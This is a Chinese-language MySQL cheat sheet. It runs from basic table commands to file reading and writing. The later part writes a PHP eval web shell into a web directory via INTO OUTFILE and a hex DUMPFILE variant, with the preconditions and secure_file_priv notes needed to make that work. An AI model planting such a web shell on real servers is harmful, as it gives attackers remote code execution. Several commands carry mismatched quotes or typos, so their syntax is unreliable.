mysql -uroot -proot
新建:create database test;
删除:drop database test;
use test
select database();
describe users;
show tables;
语法:CREATE TABLE [表名]([字段名] 字段类型 [字段参数], …); 例如:
create table user(
id int(11) NOT NULL,
username varchar(255),
password varchar(255),
primary key(id)
)charset=utf8;
语法: ALTER TABLE [表名] ADD COLUMN [字段名] DATATYPE ALTER TABLE [表名] ADD PRIMARY KEY ([字段名]) 例如:
alter table users add column email varchar(50);
说明:更改表的定义把某个栏位设为主键。 TABLE [表名] DROP PRIMARY KEY ([字段名])
显示ALTER当前表字段:
show columns from tablename;
语法:INSERT INTO [表名] VALUES(’’,’’,…顺序排列的数据);
例如:insert user values(0,'1','123456');
语法: SELECT * FROM [表名] WHERE ([条件]);
例如:select * from users where id=1;
语法:DELETE FROM [表名] WHERE ([条件]);
例如:delete from users where id=1;
语法:UPDATE [表名] SET [修改内容] WHERE [条件];
例如:update users set name = 'my404.cn' where id=1;
database() user() version()
SELECT LOAD_FILE(‘/1.php’);
select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php'
select'<?php @eval($_POST[chabug]);?>'INTO OUTFILE 'E:\Web\errors.php’
限制条件: 1)需要知道Web目录的绝对路径。 2)需要mysql用户有file权限,file权限限制在MySQL服务器上读写文件。grant file on . to root@localhost; 3)因为执行时以mysql用户去执行,所以mysql用户需要有Web目录的写权限。
select host from mysql.user into dumpfile '/tmp/user1.txt’;
限制条件: 只能导出一行。可执行2进制文件用into outfile函数导出,导出后就会被破坏
MySQL不能写入文件原因,可能是MYSQL新特性secure_file_priv对读写文件的影响: 查看配置项: SHOW VARIABLES LIKE "secure_file_priv“ 如果查到了secure_file_priv的值,再执行下列命令就可以写入文件了:
select 123 into outfile '/var/lib/mysql-files/test1.txt '
限制mysqld 不允许导入 | 导出:
mysqld --secure_file_prive=null
限制mysqld 的导入 | 导出 只能发生在/tmp/目录下:
mysqld --secure_file_priv=/tmp/
不对mysqld 的导入 | 导出做限制:
cat /etc/my.conf
[mysqld] secure_file_priv= 数据库版本很重要!